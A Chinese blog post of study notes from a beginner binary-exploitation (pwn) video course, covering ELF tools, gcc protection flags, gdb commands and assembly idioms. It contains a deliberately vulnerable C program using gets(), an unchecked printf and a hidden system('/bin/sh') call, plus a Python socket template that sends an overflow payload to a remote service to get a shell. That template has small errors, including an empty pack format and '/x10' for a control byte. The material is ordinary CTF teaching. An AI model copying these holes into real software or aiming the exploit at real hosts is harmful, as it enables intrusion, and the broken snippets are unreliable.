HowMuch_YouWant2Pwn-1

描述

b站pwn启蒙元老级师傅国资社畜 《你想有多pwn》学习记录与补充

0x00 前言

qaq真的很感谢这个up主提供的pwn入门课程,对pwn新手真的特别友好,学pwn必备!感觉看了一部分《程序员的自我修养》和这个课,可以说打通了一小部分pwn的任督二脉了,总之算是学pwn的一个很好开头,希望今后的学习也能保持这种状态!

0x01 打pwn需要准备的武器库

2024-07-25-15-46-01

0x02 副武器

  • file 程序名:可查看文件类型以及一些大致信息
  • readelf -a 程序名:查看elf文件所有节、符号表等信息
  • hexdump 程序名:把指令数据等用十六进制表示出来
  • ldd 程序名:可以查看库函数所在库的位置
  • objdump -d 程序名:输出反汇编后的汇编指令 (默认是采用att语法格式输出,如果要intel格式可以-M intel)
  • checksec 程序名:检查程序开启的保护选项

上面的之所以是副武器,因为实际上并不算经常用或者用的不多。

0x03 gcc的基本使用

常用编译参数

(1)-o参数: gcc xx.c -o 程序名【直接编译成程序】 可以发现直接编译后所有的保护都已开启: 2024-07-30-16-58-58

(2)-S参数: gcc -S xx.c 【编译成汇编代码(注意这里和objdump反汇编出来的还是有点差别的,这个是程序对应的真正的汇编代码)】 两者的区别如下: 2024-07-30-17-34-01 可以发现前者显示结果更加简洁,并且几乎只有汇编指令,也不像后者还有包含.plt等其他elf程序节中的细节信息 2024-07-30-17-53-35

(3)-m32参数: 将程序用x86指令集编译成32位程序,但是要注意得提前安装好相应的库:

1
sudo apt-get install gcc-multilib g++-multilib module-assistant

(4)-O参数: 关于gcc的-O选项,有对应的等级,默认是1,意思是编译时优化的级别,比如课程中的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int func(char *cmd){
system(cmd);
return 0;
}

int main(){
char a[8] = {};
char b[8] = {};
//char a[1] = {'b'};
puts("input:");
gets(a);
printf(a);
if(b[0]=='a'){
func(sh);
}
return 0;
}

观察源码会发现这里的if体中不可能执行,因为一开始都没有为b[0]赋值,但是编译时如果采取默认的优化级别,编译器会本着实事求是的原则,既然写了,就让该部分被编译,所以我们最终能实现缓冲区溢出获取shell,但是如果编译时优化级别设置较高,比如-O3,那么编译器会认为其不可能执行,所以不将该部分编译,我们就获取不到shell,也就是不可能执行func(sh)

(5)-static参数: gcc加参数-static即可静态编译,静态编译后的程序明显比默认用动态编译的程序占用空间大: 2024-07-31-09-54-17

发现当检查保护的时候,同样都是默认编译的64位程序,静态程序则默认没有开启PIE: 2024-07-31-09-19-13 查看文件时也存在些差异: 2024-07-31-09-21-26 注意到静态程序是叫executable,动态程序是叫shared object,发现既有标明静/动态链接,动态链接程序还标出了依赖外部的动态共享库文件/lib64/ld-linux-x86-64.so.2,而前者没有,因为静态链接可执行文件已包含了所有必需的库文件,不需要依赖外部的共享库

而且当查看两者的汇编指令时也能发现: 静态程序是: 2024-07-31-10-08-03 而动态程序是: 2024-07-31-10-09-06 发现汇编代码几乎是一样的,只是偏移位置不一样,还有call调用函数时,动态链接程序是xxx@plt,即得从plt表中寻找,因为前面提到过动态链接程序要依赖外部共享库

(6)-fno-omit-frame-pointer参数: 对解题的方法没啥区别,只是汇编指令部分发生了些变化。观察会发现原来基本都是以rbp/ebp为基准来计算、赋值的,加了该参数后,有些地方就可能以rsp/esp为基准。 同样还是以64位程序为例,只加该编译参数。

chatgpt对该参数的解释: 通过使用该选项,编译器将禁用帧指针的省略优化,确保帧指针在编译后的二进制文件中保留,例如,在进行调试或进行栈回溯(stack backtrace)时,帧指针可以提供更好的调试信息,帮助开发人员跟踪函数调用链和定位问题。

(7)-no-pie参数 效果看下面的实验。

0x04 主武器gdb

修改gdb默认反汇编显示格式

设置默认以intel格式输出反汇编代码:

1
vim ~/.gdbinit

最上面加上:

1
set disassembly-flavor intel

常用指令

gdb 程序名 【加载程序】 si 【步入】 ni 【步过】 finish 【步出】 start 【开始运行到程序入口点(注意是由gcc内部机制判断出来的,不一定完全准确,所以有些情况需要自己手动判断)】 i r 【这里是缩写,下文同理,查看当前所有用到的寄存器状态】 disassemble $rip 【反编译当前rip所在的指令上下文】

打印相关:

p $寄存器【打印寄存器中存的值(有时候还能用来计算寄存器的偏移地址,比如p $rbp-0x10)】 p &函数名 【打印符号表中存在的某个函数地址】

断点相关:

b *地址【设置断点】 i b【查看所有设置的断点】 d 断点对应的序号 【删除指定断点(但是在实际运用中,一般不采用删除断点,而是让其失效,万一下次还要用到)】 disable b 断点对应的序号 【让指定断点失效】 enable b 断点对应的序号 【让已失效断点重新激活】 c(continue) 【运行到下一个断点为止】

内存相关重要指令

x指令:

x/20i 地址或$rip 【以汇编代码格式显示从该地址开始的20条内存单元中的数据】 (下面如果想要数据输出格式为十六进制,可以再加个x,如gx) x/20b 地址或$rip 【以每1byte十进制格式显示从该地址开始的20条内存单元中的数据】 x/20g 地址或$rip 【以每8byte十进制格式显示从该地址开始的20条内存单元中的数据】 x/20s 地址或$rip 【以字符串格式…】

set指令:

set *地址=值 【将某个地址中的值设置为我们想要的值】

如果要设置寄存器中的值呢? 注意要强制转换一下先,如: set *((unsigned int)$ebp)=0x18

vmmap指令:

用于显示当前线程的内存映射信息,通过查看内存映射信息,可以了解程序的内存布局,包括代码段、数据段、堆、栈以及共享库等的位置和属性。

0x05 汇编指令补充辨析

小背景:由于现在版本的编译器比起以前越来越智能,实际上很多指令在编译器编译时都很少用到了,一般都会做优化处理,而且时代变了,寄存器也不再像从前那样细分若干个并几乎各司其职,很多寄存器实际上编译时也用不到了,除了少部分寄存器几乎只履行自己职责外,如bp和sp类型寄存器一般用于栈操作、ip类型寄存器用于指向当前指令位置,大部分的很多寄存器其实都可以身兼多职。总之,ip类寄存器是老大,最重要的,bp类是老二,sp类是老三,因为内存离不开栈,栈需要bp和sp工作,剩余其他寄存器现在几乎都没啥区别了,也不是特别重要。

“已忘初心“lea指令

现在的编译器一般不用lea作为载入地址了(但是如果不加方括号的情况下是作为该原用途),一般用于计算, 比如 lea rax,[rbp-0x18] 【把rbp地址减去0x18后的地址给rax】

那么为什么不用

1
2
sub rbp,0x18
mov rax,rbp

因为这是编译器为了提高效率优化的方式,它占用的指令长度也更短。而且这种方式还不需要改变rbp的值就可以实现

异或指令xor

一般用于将寄存器的值归零,如xor eax,eax

cmp和sub

两个都是减,只是相减后的结果处理不同,cmp对相减后的结果不进行赋值存储,仅用于作判断,和条件跳转指令搭配着用,其实c语言中只要包含cmp的函数都是这个原理

test和and

and eax,eax test eax,eax -> eax&eax, eax=0则结果为0;eax!=0则结果为!0

与sub和cmp的区别同理,test和and指令差不多,只是test只用于比较最后不赋值,而and赋值。 另外,这里的test eax,eax其实就相当于cmp eax,0,只是编译器为了优化而选用test而已。

move带单位PTR

move eax,BYTE PTR [rbp-0x10],其中PTR代表指针, 意思是把[rbp-0x10]地址的值中取1个BYTE即8位给eax寄存器。

常见的单位还有:

1
2
WORD    DWORD    QWORD
16位 32位 64位

0x06 cpu和寄存器和(虚拟)内存之间的关系

在传递数据时,cpu会优先从寄存器中取值,但是寄存器数量有限,如果定义的变量数目远超过寄存器数量,那么多余的变量会先存储在虚拟内存空间中,当需要时再和寄存器做交互传递值。比如上面的[rbp-0x10]就是从虚拟内存地址中找到然后传值的,然后像push就是把暂时用不到的先放到虚拟内存中。

0x07 pwn题常见函数

strcmp

这个函数常用于做字符串比较,实际看反汇编代码过程中其实当成cmp去识别就好了

0x08 pwn题远程部署

常用的部署命令:

1
socat tcp-l:端口,fork exec:./程序名,reuseaddr

0x09 用python脚本打pwn的原因

因为有些时候比如题目中的比较字符是一个不可打印字符,如0x10,虽然我们在gdb调试中可以试着将虚拟内存中对应的数据改成0x10从而getshell,但是在shell中运行程序时是输入不了像0x10这样的不可打印字符的,如果我们输入它,会被当成字符串,也就是会把0x10拆分着看,而不是将其当作一个整体,所以这时候要用到python脚本中已有的模块来实现

打pwn简单python脚本模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
import telnetlib
import struct

def P32(val):
return struct.pack("", val)

def pwn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("xxx.xxx.xxx.xxx", 7777))
payload = 'A'*8 + '/x10'
s.sendall(payload + 'n')
t = telnetlib.Telnet()
t.sock = s
t.interact()

if __name__ == "__main__":
pwn()

//该脚本实际上就是模拟我们nc连接远程服务器,然后输入8个A拼接上不可见字符0x10来getshell而已。并且当然实际上常用的不是这么写的,会用到pwntools等模块,比上面的简洁方便很多